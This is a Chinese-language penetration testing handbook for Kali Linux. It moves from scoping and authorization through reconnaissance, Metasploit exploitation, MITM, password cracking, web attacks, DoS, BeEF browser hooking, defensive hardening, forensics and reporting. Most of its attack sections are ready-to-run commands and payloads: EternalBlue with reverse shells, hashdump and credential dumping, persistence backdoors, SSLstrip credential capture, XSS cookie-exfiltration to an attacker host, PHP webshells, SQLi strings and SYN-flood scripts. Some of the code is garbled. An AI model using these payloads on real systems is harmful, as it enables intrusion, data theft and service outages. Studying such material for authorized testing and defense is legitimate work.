一、基础理论与方法论
(一)渗透测试本质辨析
1.三者核心区别:渗透测试 ≠ 漏洞评估 ≠ 安全审计
- 安全审计:核心特征是对照基线/标准检查合规性,交付物为合规报告,法律风险低
- 漏洞评估:核心特征是被动扫描识别潜在漏洞,交付物为漏洞清单+风险等级,法律风险低
- 渗透测试:核心特征是主动利用漏洞验证真实性,交付物为可执行报告+入侵路径图,法律风险需授权,否则违法
2.关键认知纠正:
- 渗透测试不能提升安全性,只能验证现有防御有效性
- 客户若未做好基础安全,渗透测试毫无意义
- 所有测试必须获得书面授权,明确责任边界和紧急联系人
(二)测试范围界定(Scoping)
1.必须定义的10个要素:
- (1)目标系统清单:IP、域名、网段、业务系统名称
- (2)时间窗口:具体日期+时段,避免业务高峰期
- (3)攻击强度:是否允许DoS、社会工程、物理入侵
- (4)工具披露:必须提供工具列表和版本,便于复现
- (5)知情人员:谁知晓测试?是否需保密以测试响应能力
- (6)初始访问权限:黑盒/白盒/灰盒的起点定义
- (7)关键系统隔离:支付网关、生产数据库等禁止触碰
- (8)退出标准:拿到域管权限?还是获取特定数据即停止
- (9)交付成果:报告格式(PDF/Word)、详细程度、是否含修复建议
- (10)补救支持:是否协助修复,额外费用如何计算
二、环境搭建与工具链
(一)Kali Linux部署精要
1.硬件最低要求:
- (1)8GB磁盘空间(实际建议50GB+)
- (2)512MB内存(实际建议4GB+)
- (3)支持USB/CD启动
2.安装最佳实践:
更新系统(每日执行)
apt-get update && apt-get dist-upgrade -y
安装必备组件
apt-get install git build-essential linux-headers-$(uname -r)
3.虚拟机优化:
- (1)网络模式选择桥接而非NAT(便于ARP攻击)
- (2)内存分配不超过宿主机50%
- (3)快照命名规范:2024-01-23-Pre-Engagement
(二)核心工具集导航
1.Information Gathering(信息收集)
- (1)DNS层:dnsrecon, dnsenum, fierce
- (2)网络层:nmap, zenmap, netdiscover
- (3)Web层:whatweb, wpscan, joomscan
2.Vulnerability Analysis
- (1)综合扫描:openvas, nessus
- (2)Web专项:nikto, skipfish, vega
- (3)数据库:sqlmap, oscanner
3.Exploitation Tools
- (1)框架:metasploit-framework
- (2)Web:burpsuite, websploit, set
- (3)自动化:commix, weevely
4.Password Attacks
- (1)离线破解:john, hashcat, rainbowcrack
- (2)在线爆破:hydra, patator, medusa
- (3)Windows专项:samdump2, chntpw, ophcrack
三、侦察(Reconnaissance)深度实战
(一)OSINT开源情报收集体系
1.企业信息挖掘黄金路径:
- (1)域名 → WHOIS查询 → 注册人邮箱 → 泄露密码搜索
- (2)官网 → Robots.txt → 后台路径 → 技术栈识别
- (3)招聘网站 → JD关键词 → 使用的框架/中间件版本
- (4)LinkedIn → 员工名单 → 社会工程目标筛选
- (5)GitHub → 源码泄露 → .git/config暴露凭证
- (6)Pastebin → 搜索site:pastebin.com "target.com" "password"
2.Shodan高级搜索语法:
1、 查找特定设备的默认密码
http.title:"NetSurveillance" country:CN
2、 查找Jenkins未授权访问
http.component:"jenkins" http.status:200
3、 查找MongoDB未授权
product:MongoDB -auth
3.FOCA元数据分析实战流程:
1. 创建项目
mkdir /root/FOCA-Projects/TargetCorp
cd /root/FOCA-Projects/TargetCorp
2. 设置搜索域名和文件类型
在FOCA GUI中: Project → Metadata Search
添加扩展名: .docx, .pdf, .pptx, .xlsx
3. 下载并分析
右键 → Extract All Metadata
查看: Users (发现内部用户名), Software (识别版本), Paths (暴露目录结构)
(二)网络层侦察技术
1.Nmap扫描策略矩阵:
- (1)快速存活检测:命令nmap -sn <网段>,特点仅Ping,不扫描端口,风险等级极低
- (2)常规扫描:命令nmap -sV -sC <IP>,特点版本识别+默认脚本,风险等级中
- (3)隐蔽扫描:命令nmap -T2 -f -D RND:10 <IP>,特点慢速+分片+诱饵,风险等级低
- (4)全面扫描:命令nmap -p- -A <IP>,特点全端口+激进探测,风险等级极高
- (5)防火墙规避:命令nmap -sS -sI <僵尸IP> <目标>,特点IDLE扫描,风险等级中
2.NSE脚本引擎应用:
检测SSL心脏出血漏洞
nmap -p 443 --script ssl-heartbleed <IP>
检测MS17-010永恒之蓝
nmap --script smb-vuln-ms17-010 <IP>
暴力破解SNMP
nmap -sU -p 161 --script snmp-brute <IP>
3.DNS侦察完整链条:
1. 获取DNS服务器
dig -t NS target.com +short
2. 尝试区域传送(几乎不可能成功)
dig @ns1.target.com target.com AXFR
3. 暴力枚举子域名
dnsrecon -d target.com -t brt -D /usr/share/wordlists/dnsrecon.txt
4. 反向查询IP段
dnsrecon -r 192.168.1.0/24
5. 综合信息收集
dnsenum --enum target.com -f /usr/share/dnsrecon-ultimate.txt
四、服务器端攻击技术栈
(一)Web漏洞扫描与验证
1.Skipfish深度配置:
使用自定义字典
skipfish -o /root/results -W /usr/share/skipfish/dictionaries/complete.wl \
-I .php,.asp -K 500000 -t 20 -g 5 http://target.com
关键参数:
- -I: 只扫描指定后缀
- -K: 设置字典上限
- -t: 并发线程数
- -g: 递归深度
2.ProxyStrike被动审计:
- (1)配置浏览器代理:127.0.0.1:8008
- (2)访问目标网站,ProxyStrike自动捕获请求
- (3)在"Plugins"标签启用XSS/SQLi检测
- (4)"Crawler"标签点击Spider,自动发现链接
- (5)"Log"标签查看实时攻击结果
3.OWASP-ZAP主动扫描模式:
命令行启动主动扫描
zap-cli -v quick-scan -s xss,sqli -r -o ascii http://target.com
GUI操作:
-
- 设置代理并导入证书
-
- 访问目标网站,Sites标签右键"Attack" → "Active Scan"
-
- 在"Active Scan"标签监控进度
-
- "Alerts"标签查看漏洞,按CVSS排序
(二)Metasploit实战利用链
1.从扫描到Shell的完整流程:
(1. 数据库初始化
bash
service postgresql start
msfdb init
(2. 扫描并导入
bash
msfconsole
db_nmap -sV -O -A --script=vuln 192.168.1.0/24
(3. 漏洞匹配
bash
hosts -c address,os_name,os_flavor
services -c name,info -p 445 --up
(4. 选择利用模块(以MS17-010为例)
bash
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
(5. 设置载荷(反向Shell优于绑定Shell)
bash
set payload windows/x64/meterpreter/reverse_https
set LHOST 10.0.0.5
set LPORT 443
set LURI /update
(6. 高级选项
bash
set SMBUser administrator
set SMBPass hashdump:::
set VERBOSE true
(7. 执行并处理会话
bash
exploit -j # 后台执行
sessions -i 1
meterpreter > getuid
meterpreter > hashdump
meterpreter > load kiwi
meterpreter > creds_all
2.后渗透模块深度应用:
权限提升
use exploit/windows/local/bypassuac
set SESSION 1
exploit
令牌窃取
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
持久化
meterpreter > run persistence -U -i 5 -p 443 -r 10.0.0.5
meterpreter > run metsvc -A # 安装Windows服务后门
(三)中间人攻击(MITM)全栈技术
1.ARP欺骗基础架构:
- (1. 开启IP转发(Linux内核级)
bash
echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1 # 永久写入需修改/etc/sysctl.conf
- (2. 双向ARP欺骗(脚本自动化)
bash
#!/bin/bash
# arp_spoof.sh
VIP="192.168.1.100" # 受害者IP
GWIP="192.168.1.1" # 网关IP
IFACE="eth0"
终端1:欺骗受害者
arpspoof -i IFACE -t VIP $GWIP
终端2:欺骗网关
arpspoof -i IFACE -t GWIP $VIP
2.流量操控与窃听:
(3. 端口重定向(HTTP→SSLstrip)
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 10000
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 10000
(4. 启动SSLstrip
sslstrip -l 10000 -w /root/sslstrip.log -a
(5. 实时监控密码
tail -f /root/sslstrip.log | grep -E "email|password|login|user"
(6. 抓取图片(Driftnet)
driftnet -i eth0 -d /root/captured_images/ -a -s
(7. 提取HTTP表单(urlsnarf + grep)
urlsnarf -i eth0 | grep -v ".css\|.js\|.png" > /tmp/urls.txt
3.DNS欺骗(Ettercap):
修改etter.dns添加记录
nano /etc/ettercap/etter.dns
添加:microsoft.com A 10.0.0.5
*.microsoft.com A 10.0.0.5
启动DNS欺骗ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /192.168.1.1// /192.168.1.100//
(四)密码攻击工程化
1.Hydra高级用法:
HTTP POST表单爆破
hydra -L users.txt -P pass.txt 192.168.1.1 \
http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect" \
-t 10 -w 30 -o result.txt
支持HTTPS和代理hydra -S -v -l admin -P /usr/share/wordlists/rockyou.txt \
-s 443 10.0.0.5 https-get /admin/ \
-h 127.0.0.1 -p 8080 # 通过Burp代理
自定义模块(JSON API)hydra -l admin -P pass.txt 192.168.1.1 http-post \
"/api/login:{\"user\":\"^USER^\",\"pass\":\"^PASS^\"}:H=Content-Type: application/json:F=error"
2.John the Ripper优化:
- (1. 准备字典
bash
cat wordlist1.txt wordlist2.txt | sort -u > combined.txt
tr 'A-Z' 'a-z'< combined.txt > lower.txt
sort -u lower.txt > final.dict
- (2. 识别哈希类型
bash
hashid /root/hashes.txt
hash-identifier # 交互式
- (3. 多模式破解
bash
john --wordlist=final.dict --rules=Wordlist,jumbo /etc/shadow
john --incremental=Alnum --max-length=10 /etc/shadow
- (4. GPU加速(oclHashcat)
bash
hashcat -m 1000 -a 0 -o cracked.txt --remove hashes.txt /usr/share/wordlists/rockyou.txt
-m 1000: NTLM
-a 0: 字典攻击
3.Windows密码提取实战:
(1. 从已控Windows提取哈希
meterpreter > load kiwi
meterpreter > creds_all # 导出内存中的明文密码
meterpreter > hashdump # 导出SAM哈希
(2. 离线破解NTLM哈希
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
(3. 使用彩虹表(Ophcrack)
ophcrack -g -d /usr/share/ophcrack/tables/ -t 1 -f hashes.txt
五、Web应用专项攻击
(一)XSS漏洞全生命周期利用
1.反射型XSS:
bash
<!-- 探测 -->
<!-- 窃取Cookie -->
var img = new Image();
img.src = "http://<攻击机>/xss?c=" + document.cookie;
<!-- 重定向钓鱼 -->
window.location.href="http://evil.com/login.html";
2.存储型XSS(Gruyere演示):
bash
// 在"Snippets"中插入
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://<攻击机>/steal?user=" + document.getElementById('uid').value);
xhr.send();
3.BeEF XSS整合:
bash
<!-- 将Hook注入XSS点 -->
<!-- 监听键盘 -->
beef.execute(function() {
beef.net.send('keylogger', window.event.keyCode);
});
(二)SQL注入高级技术
1.手工注入流程:
-- 1. 探测
' OR 1=1--
-- 2. 判断列数
' ORDER BY 10-- (报错则减少)
' UNION SELECT 1,2,3,4,5--
-- 3. 提取数据库版本
' UNION SELECT @@version,2,3,4,5--
-- 4. 枚举数据库
' UNION SELECT schema_name,2,3,4,5 FROM information_schema.schemata--
-- 5. 提取用户密码
' UNION SELECT user,password,3,4,5 FROM mysql.user--
2.sqlmap高级选项:
1、基础检测
sqlmap -u "http://target.com/page.php?id=1" --batch --risk=3 --level=5
2. 绕过WAF
sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment,charencode
3. 获取Shell
sqlmap -u "http://target.com/page.php?id=1" --os-shell
4. 提权到系统
sqlmap -u "http://target.com/page.php?id=1" --privilege --users --passwords
5. 批量检测URL列表
sqlmap -m urls.txt --batch --random-agent --delay=1
(三)文件上传漏洞利用
1.Webshell上传:
<?php system($_GET['cmd']); ?> # 简单一句话
<?php eval($_POST['pass']); ?> # 中国菜刀马
2.绕过过滤技巧:
- (1)扩展名绕过:.php5, .phtml, .php%00.jpg
- (2)MIME类型伪造:Burp修改Content-Type为image/jpeg
- (3)图片马合成:cat image.jpg shell.php > payload.php.jpg
- (4)条件竞争:上传生成Shell的脚本,不断访问触发
3.Websploit利用模块:
use exploit/web/uploader
set TARGET http://target.com/upload.php
set UPLOAD_TYPE .php
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 10.0.0.5
exploit
(四)逻辑漏洞挖掘
1.关键测试点:
- (1)密码重置:参数可预测性 ?token=MD5(email)
- (2)越权访问:修改user_id参数访问他人数据
- (3)支付漏洞:负数金额、修改总价、重复使用优惠券
- (4)验证码绕过:前端验证、短信轰炸
2.Burp测试逻辑漏洞:
-
- 拦截请求发送到Repeater
-
- 修改关键参数(user_id, price, status)
-
- 观察响应差异
-
- 用Intruder批量测试参数范围
六、拒绝服务与高级攻击
(一)DoS工具实战
1.Slowloris(Apache杀手):
安装
cpan Net::DNS Net::SSL
攻击(保持连接不释放)
slowloris.pl -dns target.com -port 80 -timeout 2000 -num 500
原理:发送不完整HTTP头,耗尽连接池
2.LOIC(Low Orbit Ion Cannon):
- (1)输入目标IP/域名
- (2)选择方法:TCP/UDP/HTTP
- (3)设置线程:5000-10000
- (4)点击"IMMA CHARGING MAH LAZER"
- (5)警告:会产生极高流量,极易被检测
3.THC-SSL-DOS:
针对SSL握手过程
thc-ssl-dos 192.168.1.1 443 --accept
原理:重复SSL握手耗尽CPU
4.Scapy定制攻击:
bash
#!/usr/bin/env python
from scapy.all import *
# SYN Flood
send(IP(dst="192.168.1.1")/TCP(dport=80,flags="S"), loop=1)
# Land Attack(源目IP相同)
send(IP(src="192.168.1.1",dst="192.168.1.1")/TCP(sport=135,dport=135))
(二)BeEF浏览器控制深度
1.持久化Hook:
// 注入到存储型XSS点
// 创建持久后门(即使页面关闭也保持)
beef.execute(function() {
// 每分钟重连
setInterval(function() {
var s = document.createElement('script');
s.src = 'http://10.0.0.5:3000/hook.js';
document.head.appendChild(s);
}, 60000);
});
2.内网渗透:
// 使用被钩浏览器扫描内网
beef.execute(function() {
for (var i = 1; i < 255; i++) {
var img = new Image();
img.onload = function() {
beef.net.send('found', this.src);
};
img.src = 'http://192.168.0.' + i + ':80/favicon.ico';
}
});
3.社会工程模块:
- (1)Fake Notification:伪造Flash更新提示
- (2)Fake Login:弹出仿冒登录框
- (3)Webcam:尝试激活摄像头
七、防御体系构建
(一)纵深防御策略
1.网络层:
1. 防ARP欺骗(Cisco交换机)
ip arp inspection vlan 10
ip arp inspection validate ip src-mac dst-mac
2. 防IP欺骗(iptables)
iptables -A INPUT -i eth0 -s 10.0.0.0/8 -j DROP
3. 连接数限制
iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 20 -j REJECT
2.Web层:
1. 防XSS
Header set X-XSS-Protection "1; mode=block"
Header set Content-Security-Policy "default-src 'self'"
2. 防Clickjacking
Header set X-Frame-Options "DENY"
3. 防MIME嗅探
Header set X-Content-Type-Options "nosniff"
4. 强制HTTPS
Header set Strict-Transport-Security "max-age=31536000; includeSubDomains"
3.应用层:
// PHP安全加固
ini_set('display_errors', 0); // 关闭错误显示
header('X-Frame-Options: DENY');
// 防SQL注入(PDO预处理)
stmt = pdo->prepare('SELECT * FROM users WHERE id = ?');
stmt-\>execute(\[id]);
// 防XSS(输出编码)
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
(二)数字取证技术
1.Kali取证模式启动:
- (1)启动时选择 "Live (686-pae) Forensic Mode"
- (2)不自动挂载任何文件系统
- (3)使用只读方式挂载:mount -o ro /dev/sda1 /mnt/evidence
2.镜像创建:
dd镜像(带哈希校验)
dc3dd if=/dev/sda of=/mnt/usb/evidence.dd hash=sha256 hashlog=hash.log log=log.txt
创建E01格式(Encase)
ewfacquire /dev/sda -t evidence -C 123456 -c best -e ntfs -m e01
内存转储
lime-forensics-dump -f raw -o /mnt/usb/memory.raw
3.内存分析:
使用Volatility
volatility -f memory.raw imageinfo
volatility -f memory.raw --profile=Win7SP1x64 pslist
volatility -f memory.raw --profile=Win7SP1x64 memdump -p 1234 -D ./
(三)应急响应流程
- 1.隔离:断网不关机,保留内存状态
- 2.记录:拍照、记录时间线、当前连接
- 3.镜像:按上述方法创建完整镜像
- 4.分析:使用Kali工具集分析
- 5.报告:IOC(失陷指标)、攻击路径、影响评估
八、专业报告撰写
(一)报告结构模板
1.封面页
项目名称、时间、测试团队、保密声明
2.执行摘要
在2024年1月对XYZ公司Web应用进行的渗透测试中,共发现:
严重漏洞:2个(可RCE)
高危漏洞:5个(可提权、数据泄露)
中危漏洞:8个(信息泄露、XSS)
最严重的是位于登录页的SQL注入(CVE-2024-XXXX),可获取所有用户数据(约10万条)。
修复成本估算:$50,000 | 修复时间:2周
3.技术细节(每个漏洞)
VULN-001: SQL注入导致数据库接管
CVSS评分:9.1 (Critical)
位置:https://app.target.com/login.php
复现步骤:
- (1)在username字段输入 admin' OR 1=1--
- (2)密码任意
- (3)成功登录admin账户
利用证明:
sqlmap -u "https://app.target.com/login.php" --data "user=admin&pass=123" \
--dbms=mysql --dump
输出:导出users表,含admin密码哈希...
修复建议:
- (1)使用PDO预处理语句
- (2)部署WAF规则:SecRule ARGS "@detectSQLi"
- (3)限制数据库账户权限为只读
(二)报告工具使用
1.Dradis专业报告:
1. 启动Dradis
service dradis start
2. 访问https://127.0.0.1:3000
3. 创建项目,导入工具结果:
- Nmap: Upload → Nmap → 选择.xml文件
- Nessus: Upload → Nessus → 选择.nessus文件
- Burp: Upload → Burp → 选择.xml文件
4. 在Issues中整理漏洞
5. Export → Word/PDF报告
2.MagicTree数据关联:
- 1导入Nmap结果
-
- 自动节点关联(IP→服务→版本→漏洞)
-
- 标记已利用节点
-
- 生成攻击路径图
(三)交付物清单需包含:
-
-
\] 原始扫描数据(Nessus、Nmap、Burp)
-
-
-
\] 修复验证脚本(PoC修复代码)
-
-
-
\] 费用明细(如含补救服务)
-
攻击前
\] 获取双签名授权书(客户+法务)
\] 设置测试环境快照
攻击中
\] 每2小时备份一次数据
\] 截图/录屏关键突破点
攻击后
\] 清理所有后门和测试文件
\] 提交初步报告(24小时内)
\] 30天后提供修复验证服务
(五)核心思维模型
-
- ATT&CK映射:每个攻击技术对应MITRE ATT&CK框架编号
-
- 钻石模型:从对手、能力、基础设施、受害者四维度分析
-
- 杀伤链:侦察→武器化→投递→利用→安装→C2→目标达成
-
- OODA循环:观察→调整→决策→行动,比防守方快一步